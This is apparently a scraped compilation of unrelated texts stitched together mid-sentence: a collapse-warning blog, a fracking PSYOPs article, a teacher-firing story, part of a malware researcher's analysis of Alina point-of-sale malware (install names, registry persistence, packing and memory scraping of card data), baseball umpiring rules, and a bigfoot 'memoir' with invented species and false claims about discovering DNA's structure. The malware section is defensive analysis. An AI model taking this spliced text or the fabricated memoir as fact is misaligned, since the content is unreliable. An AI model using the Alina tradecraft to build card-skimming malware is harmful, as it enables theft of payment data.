It is not going to be a great time to be living in highly congested urban areas.
For dozens more examples of how our society is beginning to crumble all around us, just check out the following articles….
-“Lawless America: 20 Examples Of Desperate People Doing Desperate Things”
-“Chaos On The Streets Of America”
-“40 Signs That America Is Rotting From The Inside Out”
-“20 Signs That The Fabric Of American Society Is Coming Apart At The Seams”
So why doesn’t the government just step in and fix things?
Well, it is because we are drowning in debt.
Collectively, the 50 U.S. states are trillions of dollars in debt at this point.
The U.S. government is so far in debt that it is hard to even put it into perspective. It is hard for the human mind to even conceive of how much money 15 trillion dollars is.
We basically used up all of our financial ammunition creating a false level of prosperity over the last 30 years. Now we are too broke to fix our problems.
Decades of really, really bad decisions are starting to catch up with us, and things are going to get progressively worse from here on out.
If you and your family do not have a plan for the tumultuous years ahead, you might want to start coming up with one.A year after Range Resources, a leading hydraulic fracturing company, claimed it had hired former military officers with experience in psychological warfare to combat anti-fracking activists, it seems as though they’re losing ground in the battle to win hearts and minds of Americans — and are turning to politicians instead. Anti-fracking activists have had a good year, celebrating small victories in their fight to protect neighbors from the environmental impacts of hydraulic fracturing. Recognizing the failure to convince small town residents that fracking is right for their communities, oil companies are now turning to technicalities, encouraging state governments that towns and cities do not have the legal capacity to outlaw their industry. That’s what’s playing out right now in Pennsylvania, where the state is claiming a ban on fracking in Pittsburgh, Pa. passed in 2010 should be thrown out. Range Resources, which declared in 2011 their PSYOPs were working in Pennsylvania, stands to benefit from a lifted ban.
A year for anti-frackers
It has been a successful year for anti-fracking activists, as they’ve watched their grassroots campaigns grow to a movement that now demands attention. In July, anti-fracking activists gathered in Washington, D.C. for a protest that drew 5,000 people — creating a noise too loud to ignore. In November, residents of Longmont, Colo. joined the 270 communities throughout the U.S. to pass anti-fracking measures. The decision in the town of roughly 90,000 came as a shock to many, as it represented a small city standing up against corporations’ information war. Longmont’s turnaround sent a wave of fear throughout the U.S., sparking pro-fracking rallies in Denver, Colo., organized by the city’s Chamber of Commerce. In Boulder, Colo., county commissioners threatened to begin prosecuting anti-fracking activists for disrupting meetings. One Boulder County commissioner simply left a meeting intended to discuss fracking regulations, complaining that protesters had taken over in a way that was unreasonable and anti-democratic. For that, he said, any future protesters demonstrating in an unfit way would be kicked out, and possibly charged. Wendy Wiedenbeck, a public relations representative of oil company Encana, also present at the meeting, expressed displeasure with the treatment she received from protesters at the meeting, according to a report by the Boulder Daily Camera. “In my opinion (the protesters’ goal) was to intimidate and perhaps even to harm,” she wrote in an email to the newspaper. “It certainly felt that way. It crosses a dangerous and ridiculous line when people believe that they have the right to treat another person that way. Does this group speak for the community of Boulder? I certainly hope not.” Her comments shed light on the industry’s strategy, unleashed by leaders in 2011.
Activists or ‘insurgents’
The movement toward a militarized method of minimizing opposition began when industry leaders gathered last year in Houston for an annual conference. Matt Carmichael, external affairs manager for Anadarko Petroleum Corporation, gave his public relations colleagues advice on how to move forward in the face of nationwide growing opposition to fracking, referencing military tactics. Brenden Demelle, reporter for the Desmogblog.com, an environmental news site, captured the audio from his Houston address. “Download the U.S. Army, Marine Corps Counterinsurgency Manual, because we are dealing with an insurgency,” he said. “There’s a lot of good lessons in there, and coming from a military background, I found that insight in that extremely remarkable.” Carmichael was certainly not alone when he referenced military tactics to battle opposition movements. Range Resources director of corporate communications, Matt Pitzarella, was recorded at the conference claiming his company had hired military veterans with psychological warfare experience. “… they’re very comfortable in dealing with localized issues and local governments,” Pitzarella said. “Really all they do is spent most of their time helping folks develop local ordinances and things like that. But very much having that understanding of PSYOPs in the Army and in the Middle East applies very helpfully here for us in Pennsylvania.” Pennsylvania, the very state that Pitzarella referenced, has been a hotbed of controversy for the fracking industry. In 2010, Pittsburgh passed legislation banning the practice within its city limits, stepping up as the first large city to put its foot down. The statement sent through the decision was heard loud and clear by residents of other, smaller communities, who began to note the potential dangerous impacts of fracking, most notably drinking water contamination. Now, Pittsburgh is facing opposition from its own state, which is alleging that the decision made by the city council hampered the state’s right to create environmental regulations. Doug Shields, who sat on the city council at the time, said prior to the ban, oil companies were operating within city limits, without the city’s knowledge at all. “Leading up to that (the ban), we started to have wholesale leasing within the city, and nobody knew about it — literally. There was a study by the University of Pittsburgh where they combed through the deeds office and low-and-behold, 642 acres are leased — a Catholic cemetery in the middle of my council district, 200 acres was the biggest lease. Constituents came to me and said, ‘What’s going on,’” Shields said during an interview with Democracy Now’s Amy Goodman. As a result, Shields introduced the bill that went on to ban fracking within the city. Rather than operating under the umbrella of zoning, Shields crafted a rights-based bill — one he said was never challenged, until now. Shields looks at fracking as “inherently dangerous” and cites a lack of environmental impact studies on the industry a failure on behalf of the government. He cites a book written by journalist Tom Wilber, who began documenting stories of those living on the Marcellus Shale, an area that stretches through New York and Pennsylvania — a formation ripe for fracking. The book, “Under the Surface,” tells the stories of those living in the area, including 32 residents of Dimock, Pa., who say their wells have been contaminated by the 100 gas wells in the town. It’s stories like this that drive Wilber and activists to cry out against the state in its efforts to take their authority away. Yet it’s the people telling those stories who are facing companies that are going through the effort of hiring experts in psychological warfare to overcome opposition. While their minds will not likely be changed by information provided through PSYOPs, they have little control over the situation when lawmakers at the state level are targeted.Teacher Marie Jarry Fired for Howard Stern Bikini Appearance (Photo and Video)
, a second grade teacher at Thalberg Elementary School in Southington, Connecticut, has lost her job after a photo of her in a bikini showed up on HowardStern.com.
The picture was sent in by Jarry's husband, Aaron, as part of a contest Stern ran on his radio show for the "Ugliest Guy, Hottest Wife." The couple won the contest, earning them $5000, an appearance on Stern's show, and a monthly unemployment check.
According to Aaron Jarry his wife had no choice but to resign. “We were ok...but then the local news media got a hold of it...there was a good amount of pressure.”
Stern said he was sorry that the school board didn't have any decency because, not only did Aaron’s wife keep all of her clothes on when she was on the show, but she didn’t even say anything remotely controversial.
However, parents at the school had a different view. "I can't believe she would go on TV and do that when she is a second-grade teacher," said parent Dean LaPoint. "It just doesn't make sense."
See the related links below for more "bikini teacher" scandals.
View video HERE.Alina: Following The Shadow Part 2
This will likely be the final blog post in this series on the Alina Point of Sale (POS) malware family. If you're just now joining us, please be sure to check out my previous blog posts on this topic, which cover the intricacies of version 4.0, as well as information about how this malware has evolved with respect to exfiltration and command and control (C&C).
For this final part, I'm going to focus on how this malware is installed, what protections the author has placed on the malware to prevent Anti-Virus detection and/or reverse engineering of it, and how Alina aggregates track data. I may also throw in some other random tidbits of information that I've encountered depending on how long this blog post goes. My last one in particular was quite lengthy, so I'm going to do my best to avoid that this time around. We're going to be looking at the same versions as before. I've included the timeline graph below as a reference for readers.
Installation
Overall the malware authors were fairly consistent with regards to how this malware is installed, as opposed to previous characteristics that we've looked at, where many changes were incorporated in a large number of revisions. I've illustrated the changes witnessed throughout various versions below:
v0.1 / v1.0
For the early versions of Alina, the authors followed a simple process for malware installation. In essence, the malware looks to see if it has been supplied with the 'ALINA=<exe_name>' argument, where '<exe_name>' refers to an executable path. If this argument is supplied, Alina will not perform the installation procedure, but will instead simply delete this executable name before exiting.
If Alina started without this argument, it will begin the installation procedure. Alina copies itself to the following path:
%TEMP%\ALINA_<6_random_letters>.exe
It then modifies the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ALINAhuahs registry key, and writes the location of the previously copied executable. This is a simple persistence technique that is encountered regularly when dealing with malicious samples. Finally, Alina will call the new executable with the 'ALINA=' argument, and point it to itself, ensuring the original file is deleted. I'm done my best to demonstrate this process visually below:
v2.x / v3.x / v4.x
Starting with version 2.0, the authors of Alina decided that they needed something a bit stealthier regarding how the malware is installed. Specifically, instead of installing the malware to 'ALINA_<6_random_letters>.exe', they instead decided to choose from a pool of seven potential malware names. When Alina is installed, it chooses to copy itself to one of the following names within the %TEMP% directory:
java.exe
jusched.exe
jucheck.exe
desktop.exe
adobeflash.exe
msupdate.exe
windowsfirewall.exe
Persistence once again utilizes the Run registry key, however, the specific name coincides with the chosen malware name. For example, if 'windowsfirewall.exe' was chosen, the malware would install to the 'windowsfirewall' registry key. Additionally, when these versions of Alina are installed, the malware will look for previously installed instances and remove them. Once again I've tried to visualize this below:
v5.x
With version 5, we see a number of overall changes to Alina (many of which were covered in the previous post). With regard to installation, we see the authors shift away from a completely random choice of malware names. This likely has to due with the fact that every time Alina ran on the victim machine in versions 2.x-4.x, the malware would essentially reinstall, and often chose a different name than previously. It's likely the authors of Alina wished instead to chose a random name originally, and then stick with it for the remainder of the malware's existence. In version 5.x, Alina has increased its pool of potential malware names to eleven. Additionally, instead of randomly choosing them every time, Alina utilizes the victim's volume serial number to decide which name to choose. This ensures a random name to begin with, but also ensures that it is consistent every time the system reboots. The following pool of potential malware names is utilized:
defender.exe
explorer.exe
svchost.exe
scvhost.exe
ctfmon.exe
rundll32.exe
cmd.exe
csrss.exe
dasHost.exe
services.exe
Taskmgr.exe
Protections
Looking at how the protections for Alina have evolved over time has been quite fascinating. It's quite common to see malware that targets Point of Sale devices not employ common techniques seen in the wild, such as packing, crypting, and anti-debugging. As we look at Alina over the course of a few months, it becomes clear that the authors attempted to combat some threat that we can only speculate towards. It's possible that Anti-Virus began detecting the samples, which led to them adding protections. Additionally, they may have been fearful of reverse engineers gaining insight into the inner workings of their malware, which prompted them to make changes.
UPX
I'm sure a number of the people reading this blog are familiar with UPX, or the Ultimate Packer for eXecutables. UPX is one of the most popular, if not the most popular, packers on the market. Given the fact that it's so popular and (somewhat more importantly) free, it makes complete sense that the authors of Alina chose to pack their malware using this product. Not only does it reduce to overall file size of the malware, but it also prevents simple detection mechanisms, such as searching for strings within the binary. UPX began being used with versions 2.1 and above.
Visual Basic Crypter
Starting with version 5.2, we begin seeing a large leap with regard to protections. Specifically, we begin seeing a crypter written in Visual Basic being thrown on top of Alina. While packers have historically been created with the primary purpose of speeding up executables, crypters main purpose in life is to make my life difficult. In other words, crypters were built primarily to obfuscate binaries. One of the interesting side-affects of utilizing a crypter is that in some cases it will actually increase the rate of detection by the Anti-Virus community. An Anti-Virus company may not have a specific detection in place for a given family of malware, but they may have a signature in place for a crypter that is typically utilized for malicious purposes.
As an example, Alina version 2.0, which is not packed at all, is only detected by 30 Anti-Virus companies (VirusTotal). Conversely, Alina version 5.2, which makes use of the crypter is detected by 33 Anti-Virus companies (VirusTotal). This isn't a comprehensive test of course, and there are a number of reasons why version 5.2 may be detected more than 2.0, but I'm simply using it to illustrate my point.
UPX Protector
UPX Protector is a utility that was developed to hinder UPX from being easily unpacked. Utilizing a simple command-line utility, UPX can be trivially unpacked. UPX Protector attempts to prevent this by corrupting the header (thus the reason we were unable to get a PE timestamp in version 5.5 in the previous blog post), cloaking sections, modifying the entry-point, etc. This protection was put into place starting with version 5.5.
Aggregating Track Data
For the most part, the task of aggregation of track data was fairly consistent for most of Alina's history. Up until versions 5.x, the process looked like this:
Create an array of processes to look at via calls to CreateToolhelp32Snapshot(), Process32First(), and Process32Next(), ignoring processes in the following blacklist:
explorer.exe
chrome.exe
firefox.exe
iexplore.exe
svchost.exe
smss.exe
crss.exe
wininit.exe
steam.exe
devenv.exe
thunderbird.exe
skype.exe
pidgin.exe
Loop through every process, and read pages of memory via calls to VirtualQueryEx() and ReadProcessMemory(), targeting RAM with read/write privileges.
Apply a number of regular expressions against this read memory, targeting Track 1 and Track 2 data.
Exfiltrate any data discovered and begin this process from the beginning.
Starting with version 5.x, the authors decided to spawn a new separate thread for each process they targeted. This meant that each process was constantly having its memory read, which decreased the chance that the authors would miss any track data being processed. The downside to this, however, was that it made the malware extremely noisy and increased the chance of detection on the victim. This is just one example of how the authors weighed the consequences of their decisions and determined that it would be better to have a higher rate of success versus a greater chance of detection.
Random Thoughts / Points of Interest
Overall it's been very interesting to see Alina grow over the months in many different ways. As I mentioned originally in my first blog post, memory dumpers targeting POS devices are nothing new, however, the trend towards automation and C&C has been interesting to say the least. Looking back, I find it very interesting to see some of the processes in the blacklist, such as steam.exe, skype.exe, pidgin.exe, etc. If I had to speculate, I'd argue that seeing these processes demonstrates a lack of sophistication on the author's part. I wouldn't be surprised to discover that the author was running these programs in his development environment, and decided to add Steam, Pidgin, Thunderbird, etc. to the list in order make things easier on their end. Alternatively, I've heard reports of Al |
effect, disappear or risk obstruction.
A fielder is "in the act of fielding" and it is NOT obstruction, if, his block of the base, is a fluid, continuous result of his effort to glove the ball and he was not in the path before attempting to field the ball.
Separate, discontinuous movement, whose sole purpose is to block the base, is obstruction.
As with interference, obstruction is also a tough judgment call. Contact between the runner and fielder is not necessary to meet the definition. If a runner must slow down or alter his path to avoid a fielder who is not in possession of the ball or "in the act of fielding" a throw, he has been obstructed.
If no play is being made on the runner at the time he is obstructed, the play continues. “Time” is not called until all play ends. The tough part comes when the play stops. The umpire will award the runner the base to which the umpire believes he would have reached had he not been obstructed. The play ends and “Time” is called, when the obstructed runner is tagged out, or he ceases to continue to advance, or he gets caught in a run-down, or all action ends. At that time, the umpire may, award bases or not, in order to nullify the obstruction.
For example: the batter hits a ball in the gap for what looks like an easy double. No play is being made on him. As he rounds first the fielder is in his path and they collide. The batter stops at first. The umpire will award the runner second base, if he believes; the runner was making a legitimate effort to advance to second base and could have made it, had he not been obstructed. The umpire will protect the runner back to first base, if the runner was not making an attempt for second, but the obstruction hindered his ability to get back to first, before being put out.
It does not matter where the obstruction occurs. If a runner is obstructed at first base and the umpire believes he could have made it to third base, he will be awarded third. The umpire must be the judge. If, in the umpire's judgment, a runner is slowed down at first base, and the umpire judges that the runner had a chance for a triple, but then is thrown out at third base, the out should be nullified because of the obstruction at first. However, if the runner is obstructed at first base and the umpire believes that only a double is possible, and the runner advances to third and is thrown out; the out would stand.
If the runner reaches the base to which the umpire has protected him, and he advances further during the action, and is put out, the out will stand.
An immediate dead ball obstruction is called when obstruction occurs while a play is being made on the runner.
For example: a runner on first is attempting to reach third on a hit. A fielder obstructs him, between second and third, as the throw from the outfield is heading toward third. This is a play on the runner. The umpire should call "time" when the obstruction occurs and award the runner third base. Another example is a run-down play. It does not matter which way the runner is heading. If he is obstructed while being played upon in a run-down, he is awarded at least one base beyond the last base he held.
If a runner is obstructed attempting to get back to first on a pick-off play, the ball is dead and he is awarded second.
Rule 7.06 covers obstruction. 7.06(a) is when a play is being made and 7.06(b) is when there is no play being made.
The basic thing to remember is awards are different when the pitcher throws a ball out of play, versus a fielder:
When the pitcher throws the ball into dead ball territory while he is in contact with the rubber, the runners are awarded one base from where they were at the time of the windup.
If the pitch goes out of play on ball four, the batter only gets first base, but all other runners get one base from the base they held at the time of the pitch (windup). If the pitcher is not in contact with the rubber, he is a fielder. When any fielder throws the ball into dead ball territory, the runners are awarded two bases.
When a fielder throws the ball into dead ball territory, the runners are awarded two bases.
The complicated part of this rule is deciding from what position the two bases are awarded. There are several exceptions that can affect the award. The award is either from the "time of pitch" (T.O.P.) or the "time of throw" (T.O.T.). The time of throw means at the instant the ball leaves the thrower's hand. Not the time the throw goes into dead ball area.
If the throw is the first play by an infielder, the award is, two bases from where the runners were at the T.O.P. in 99% of the plays. There is an exception that will be described later. The time of pitch is the start of the windup or the moment the pitcher separates his hands from the set position.
If the throw was the second play by an infielder, or any play by an outfielder, the award is, two bases from the time the throw left the fielder's hand (T.O.T.). The moment when the ball enters dead ball territory has no effect on the determination of the placement of the runners. The placement is from where the runners were at the time of the pitch or the time the throw left the thrower's hand depending on whether the play was the first play by an infielder or some other play.
A key thought to remember is: "first play in infield = time of pitch. Second play or outfield = time of release." The award is, always two bases. The only decision is: from where?
EXCEPTIONS:
If ALL runners including the batter runner have advanced one base before the first play by an infielder, the award is from time of release. Otherwise, the award is from the time of the pitch. The key word is “ALL.”
PLAY: Runner on second. A high pop-up is hit to the shortstop. The runner holds. The shortstop drops the ball, and then throws to first attempting to get the batter who has already rounded the base before the release of the throw, and the ball enters dead ball territory. This was the first play by an infielder, which means the award is from time of pitch. The exception states that ALL runners must advance a base before the time of release award is used. Because the runner at second held his base, ALL runners did not advance before the throw, therefore, the award is from time of pitch. The runner on second is awarded home and the batter is awarded second. If the runner on second had advanced to third before the throw to first, ALL runners would have advanced before the throw, so the batter would be awarded third base and the runner on second would get home.
A play for purposes of this rule is a legitimate attempt to retire a runner. A throw to a base, an attempted tag or attempting to touch a base for a force out are plays. A fake throw or fielding a batted ball, are not plays for purposes of this rule.
PLAY. (a) Runner on first. Ground ball to SS. The throw to second is too late and R1 is safe. The second baseman throws to first and the ball goes into dead ball area. R1 is awarded home and the batter is awarded second. The second baseman’s throw was the second play so time of release applies. R1 was at second when the throw was made. The batter was not at first at the time of the release.
PLAY. (b) Runner on first. Runner takes off on the pitch. Ground ball to SS. The runner reaches second before the SS releases the throw to first that then goes into dead ball area. R1 is only awarded third because the throw was the first play by an infielder, which makes the award from the time of pitch. R1 was at first at the time of pitch.
APPEAL is an act of a fielder in claiming violation of the rules by the offensive team. Such as: batting out of order, failing to retouch after a caught fly or failing to touch a base while advancing or retreating on the bases. Rule 2.00 Appeal, 7.10.
Appeals must be made while the ball is in play (live). When the ball is dead, it becomes in play when the pitcher has the ball and is on the rubber and the umpire says, "Play." Rule 5.11.
One appeal may be made on each runner at each base.
Any defensive player who has the ball may make an appeal if the ball is live. It is not necessary for the pitcher to have the ball on the mound before making an appeal, if the ball is already live. If the ball is live, a fielder may make an appeal in any of the following ways:
1. By touching the runner whom they believe committed a base running infraction;
2. Or by touching the base they believe was missed while the runner was advancing;
3. Or by touching the original base that a runner left before a fly ball was caught.
If the umpire has called "Time" or the ball has become dead for any other reason; the ball must be made live before an appeal can be made. The ball is made live by having the pitcher stand on the rubber with the ball in his possession and wait for the umpire to say, "Play." The pitcher or any fielder may then make an appeal. If the pitcher balks before the appeal, all appeals are lost. The pitcher may throw to a base from the rubber to make an appeal, provided he makes no motion associated with the start of a pitch prior to doing this.
In all cases, the fielder must make a verbal appeal to the umpire or complete an act that is unmistakably an appeal. Accidentally touching a base that was missed is not an appeal. A throw to a base to catch a runner who had not retouched is unmistakably an appeal.
Appeals must be made before the next pitch or play. If the fielder makes an appeal after "time" has been called, the umpire should say "put the ball in play and appeal again." Since no runner may advance or be put out while the ball is dead, this is not a play and the defense has not lost their right to appeal after the ball is put in play.
The appeal itself is not a play. A fake throw to hold a runner is not a play. It is a play when a balk is committed during an appeal. It is not a balk if the pitcher throws to an unoccupied base from the rubber for the purpose of making an appeal. Plays that occur during "continuous action" after an infraction do not cancel the defense's right to appeal.
The defense loses their right to appeal when any of the following actions occur:
1. When the throw made in an appeal attempt goes into dead ball territory. When this occurs, no more appeals may be made on any runner at any base. This is an "err" on an appeal and is interpreted to be the same as a play.
2. A balk is committed before or as part of an appeal attempt. (It is not a balk if the pitcher throws to an unoccupied base from the rubber, for the purpose of making an appeal.) N.A.P.B.L. 6.6.
3. A pitch is made to the batter.
4. A play is made that is not part of continuous action.
Continuous action definition and example:
Continuous action is an uninterrupted progression of play, starting with the pitch, and ending typically when the runners have ceased trying to advance and a fielder has possession of the ball within the infield.
Runner on first misses second as he advances to third on a hit. The defense makes a play on him at third and he is safe. The play was part of continuous action after the hit; therefore, the defense may appeal the infraction at second.
An appeal should be clearly intended as an appeal, either by a verbal request by the player or an act that unmistakably indicates to the umpire that it is an appeal. Rule 7.10 covers appeals.
There are no inadvertent appeals. An appeal must be obvious and unmistakably indicated by voice, or manner, or both; so, it cannot be an appeal if a fielder happens to step on a base with no intent or purpose of making an appeal.
Example of obvious appeal: R2, one out. R2 is leading off about 4 steps. The batter hits a line-drive that is caught by the second baseman, who throws to the shortstop, who tags second base before R2 retouches it. This is an appeal because it was obvious that R2 had failed to retouch.
If there is an appeal at a base that more than one runner has passed, the fielder should specify which runner is under appeal. If the fielder does not specify, the umpire may ask which runner's action is being appealed.
When there are two outs and more than one base running infraction has occurred, the defense may choose the out that gives them the best advantage.
PLAY: Runners at first and third with 1 out. The batter pops-up a bunt attempt. The pitcher catches the ball for the second out. Both runners left without retouching. The pitcher throws to first base before R1 can return, which is the third out. R3 crossed the plate before the out at first.
Ruling: If the defense does nothing and leaves the field, R3's run counts. If the defense makes an appeal at third on R3 before the last defensive player crosses the foul line, R3 is the third out and the run is canceled. This is called "an apparent fourth out."
The batter is out if, in running to first base, the batter-runner is hit by a throw while running outside of the 3 foot running lane, or interferes with the fielder taking the throw at first base. He could be called out even if he is not hit by the throw, if the umpire judges that by being outside the lane he interfered with the fielder’s attempt to field the throw. There must be a throw before interference can be called and the throw must be a quality throw. Rule 6.05(k).
A runner is not free from interference while in the lane, nor automatically guilty when out of the lane. If he is out of the lane he is in serious jeopardy of being called for interference, but it is not automatic, unless he is hit by the throw, or commits an intentional act of interference. The rule states that he is out when out of the lane AND causes interference with the fielder taking the throw. If he is out of the lane and is hit by the throw, that is always interference. If he is in the lane he could still cause interference, but it would have to be something obviously intentional (like grabbing the fielder's arm or glove, or deliberately touching a thrown ball). If the catcher does not make a throw because the runner is outside the lane, this is not interference. Interference with a thrown ball must be intentional. Such as, deliberately making contact with it. Or in this case if the runner is hit by the throw while outside the lane. The lines marking the lane are part of that "lane," but the runner must have both feet within the lane or on the lines marking the lane, to be judged as "in" the lane. Rule 7.09(k) casebook, N.A.P.B.L 4.14.
If the runner is hit by the throw or a collision occurs on his last step before touching the base; generally interference is not called. The runner has to step into fair territory to touch the base that is in fair territory.
It is NOT a balk if any members of the offensive team do anything for the obvious purpose of trying to make the pitcher balk. Rule 4.06(a, 3).
Some general statements pertaining to the pitcher:
· The pitcher does not have to step backward off the rubber to throw to a base. (You don't want to throw to a base after stepping off. If the throw goes out of play, it is a 2 base award. If the throw goes out of play when the throw is from the rubber, it is a 1 base award.)
· The pitcher may throw from the rubber to a base from the windup position. (It must be done before any movement that is part of the normal motion that is part of his windup.)
· The pitcher may fake a throw to second or third base from the rubber, but not to first base. This may be done from the windup or the set position. It must be done before any movement that is part of the normal motion that is part of his windup. (You do not have to step off the rubber to fake to 2nd or 3rd. Only if you fake to 1st.)
· A jump turn is legal and considered being in contact with the rubber. A "jump turn" is when a right-handed pitcher's right foot comes off the rubber, but stays in front of the rubber and is followed quickly by a lift and step with the left foot toward first base. This is technically not legal, but is accepted. The free foot must land toward the base being thrown at and before the release of the throw. This move is considered a throw from the rubber.
· The pitcher may place his hands in a different set location before each pitch. He must come to a set before pitching to the batter, but not before throwing to a base. He may not set twice before the pitch.
· A stretch move prior to the set is optional.
· He must disengage the rubber with his pivot foot first. He must step on the outfield side of the rubber.
· He must step in the direction of the base and prior to the release of the throw.
· Lifting the free or front foot prior to a throw is NOT a balk. However, the foot must come down ahead of the throw and in the direction of the base.
It is a balk if the pitcher stands on or astride the rubber without the ball. If he drops the ball while standing on the rubber, it is a balk if the ball does not cross the foul lines.
Once he is on the rubber, he may do one of three things:
1. Throw to a base
2. Deliver a pitch
3. Disengage the rubber (pivot foot first)
In (1) and (2) above, the move must be completed without interruption or alteration, except for a fake to 2nd or 3rd. Any movement that is started and not completed with a pitch or pick-off throw, is a balk. He must step ahead of the throw to a base and step in the direction of the base.
The ball is not immediately dead if a pitch or throw is completed after the umpire yells, "That's a balk." The play continues until all continuous action ends. If the balk is enforced the pitch is neither a ball nor strike, it is a no-pitch. If the balk is ignored, the pitch counts.
Example play:
A runner is on second, 2-2 count. The pitcher stretches, but does not come to a set before delivering the pitch. The umpire yells, "Balk!" but the pitch is thrown and the batter hits a grounder to shortstop. F5 looks the runner back and throws to first too late to get BR. What's the call? Where do you place the runners?
Answer: R2 is awarded third and the batter returns to the plate with the count 2-2. Because all runners including the batter-runner did not advance, the balk is enforced.
In Pro rules, and Little League®, the ball is not immediately dead when a balk is called. If the pitch is thrown or a pick-off attempt is made the ball is still live. (Sometimes called delayed dead ball.) The ball becomes dead when all play has ended after the balk call or when the pitch or pick-off throw is caught.
Rule 8.05 – PENALTY. The ball is dead, and each runner shall advance one base without liability to be put out, unless the batter reaches first on a hit, an error, a base on balls, a hit batter, or otherwise, and all other runners advance at least one base, in which case the play proceeds without reference to the balk.
APPROVED RULING: In cases where a pitcher balks and throws wild, either to a base or to home plate, a runner or runners may advance beyond the base to which he is entitled at his own risk. If the runner does not touch the base to which he is entitled, he is considered to have reached the base for purposes of this rule.
What the 2 preceding paragraphs mean in simpler terms is:
When the play ends, the ball is dead, but not until then. When a balk is committed and a pitch is thrown, if all offensive players advance at least one base on the play; ignore the balk. If any runner is put out before he advances one base or does not advance during the play; put everyone back where they were before the play began and then award all runners one base. If a runner is put out after all runners have advanced one base, the out stands and the balk is ignored.
If a base runner misses a base while advancing and continues to advance, he is considered to have reached the base he missed for purposes of this rule, but he may be put out on appeal later, for missing the base.
Example: Runner on first. The pitcher balks but throws the pitch, which is hit for a single. R1 misses second as he advances toward third where he is thrown out.
Ruling: the out stands and the balk is ignored because he is considered to have reached second base for purposes of the balk rule. However, if on the same play he was thrown out before reaching second base, he would be awarded second, the pitch is nullified and the batter would return to the plate. If, on the same play, he is safe at third, he would be out if the defense makes a legal appeal of the missing of second base, again because he is considered to have advanced to the base even though he missed it.
The ball becomes dead when the catcher catches the pitch. If it is a passed ball or a wild pitch, or the ball is batted fair, the ball remains alive until all play ends. When the balk is made in a pick-off attempt, the ball is dead when the fielder catches the throw. If the throw is wild, play continues.
Example: Runner on first. The pitcher balks during his throw to first and the ball gets away from the first baseman. The runner attempts to get to third and is thrown out. The out stands. He made the one base he would have been awarded and went beyond it at his own risk. If he had been thrown out at second, the out would not count, and he would be awarded second because of the balk. If he reaches third without touching second, he would be out if appealed and the balk is not enforced. He is considered to have reached second when he passed it. NOTE after 7.04.
The offensive team does not get an option on this type of play. The balk is either enforced or not depending on whether all runners advanced or not.
Legal and Illegal actions with Photo illustrations
Fair and Foul Balls with Photo illustrationsBorn in New England, December 12th, 1909… I was the first and only child of Christiana and Arthur Miller.
My mother died in child birth and I was subsequently raised by my father until re-married to a French woman when I was 12 or 13 years of age. Soon after their marriage she bore a baby girl. I finished my high school education while living with my father, step-mother, and half-sister.
[There is an entire section here that I could not transcribe- Handwriting was illegible]
The Research.
I remained in New England for my undergraduate work. I thoroughly enjoyed the outdoors, the ocean and forestry. My under-graduate studies focused on forestry and land management. While in my junior and senior year, I was employed by the Federal Government.
I worked at Lockwood Farm (part of The Connecticut Agricultural Experiment Station). I learned about hybridization in agricultural and enjoyed the hard outdoor work in the corn fields. I began to find great interest in the scientific workings happening with corn seed at the time.
I completed an additional year in Forestry science and graduated in 1930 with an A.B. from Yale University and an M.F. in 1931 (M.F. is a Master of Science in Forestry).
I labored at Lockwood Farm for a few years and gained great interest in science and medicine; by this time and I did hope to attend Medical School and become a physician. I expeditiously applied for Medical School and was accepted to Harvard and began my medical training in 1938.
Graduating from Harvard medical school (Harvard) in the early 1940s and I completed residency and fellowship at Harvard and began a very specialized career at the time in Orthopedic Forensic Surgery Massachusetts General Hospital (MGH) in Boston.
Because of my previous work with the USDA, I was quickly employed by the federal government. My early years as a physician related mostly to providing medical support to various employee types (fire fighters, etc.) within the USDA/FS.
I also became the forensic expert and anatomist for the USDA and was called to examine most major accidental deaths of USDA/FS servicemen. Due to my interest in genetics and early experiences in agricultural hybridization, I was assigned to scientific teams, which investigated the physical nature of genetics.
Our early experiments determined that DNA is the component of the chromosomes where genetics should be studied; this, along with the efforts of several other scientists, lead to the discovery of the double helix structure in early 1950s.
It was at this same time that several of our team members were called to Bandera County, TX where the forestry scientists/biologists assigned to Edwards Plateau reported the dead bodies of a strange type of human. The first reports I received were speculating that they were feral humans from the local Comanche Indian tribes. The bodies were supposedly found in or around one of the massive caves within the Edwards Plateau area.
When I arrived in Texas, I was surprised to find 3 bodies; one adult female and two female juveniles. I examined them as I typically would any human subject. But to my dismay–one of these creatures still seemed to be alive. I became quite upset with the local scientists–but they reassured me that they confirmed all 3 were deceased.
After further investigation, I found that these creatures were not human. They, in fact, had a remarkable rapid reparative process (hence the reason one of the creatures seemed dead–but in fact was regenerating to a degree). Unfortunately the restorative abilities of the creature were not enough to keep it alive. They were massive in size and distinctly a new primate species unknown to science at the time.
I spent years studying these creatures (which are scientifically known as Cebidatelidae), confirming that they were most certainly not human; they were definitely of Primate origin, but with traits seen in various species of primate – most of which were New World monkey.
Cebidatelidae found in the San Antonio Texas area very much “howl” like a howler monkey (quite frightening to hear at night). At one point early in my analysis, I found a great deal of similarity between these bigfoot creatures and the Howler Monkey- that was until 1962…..
In late 1962 early ’63 I was notified of a large human like creature by the Redding forest service folks in California. I arranged for transport of the body to my primary location in Colorado. It was reported to me that the body was found under a large tree that had been violently struck by lightning and blown to the ground, apparently killing this large creature.
During my investigation- I found the animal to be very similar to those I had studied in the Bandera County area of Texas, with some marked differences. This northern version of Cebidatelidae seemed to have the same new world monkey attributes I notated in the Texas animals (known today as Cebidatelidae texicanus or C. texicanus).
However, there were unique traits found in this Pacific Northwest animal (known today as Cebidatelidae nerteros pacificus or C. nerteros pacificus) including thumbs that are not entirely opposable, as we see in modern humans.
C. nerteros pacificus entire hand was truly designed for grip, including proximal pads; making the hand somewhat hooked like, having flattened nails resulting in my theory that these northern creatures developed an evolutionary arboreal nature while the Texas sub-family developed a trogloxene nature.
This Pacific Northwest (PNW) creature found in 1962-63 also had scent glands on her forearms. This is more evidence that C. nerteros pacificus is arboreal to some extent, leaving sent marks up and down the tree while climbing.
Not only was this creature smashed by the large tree, but she was also badly burned with areas of lightning prints on exposed skin.
I notated in my Medical Examination report of the body that it seemed as though lightning struck the animal passing through the body and into the tree; subsequently weakening the tree and causing it to fall to the ground.
It did seem as though the animal had fallen to the ground first, with the tree falling on top of her afterward- but the evidence as to whether the animal fell first or with the tree is inconclusive.
However, it is clear lightning struck the tree at a decent height of over 20 feet; therefore this animal must have been clinging to the tree at the time of the lightning strike…. more evidence of the arboreal nature of C. nerteros pacificus.
C. nerteros pacificus also has additional medial padding on the feet, which it would use to climb trees by clinging to the tree with its hands and support its weight.
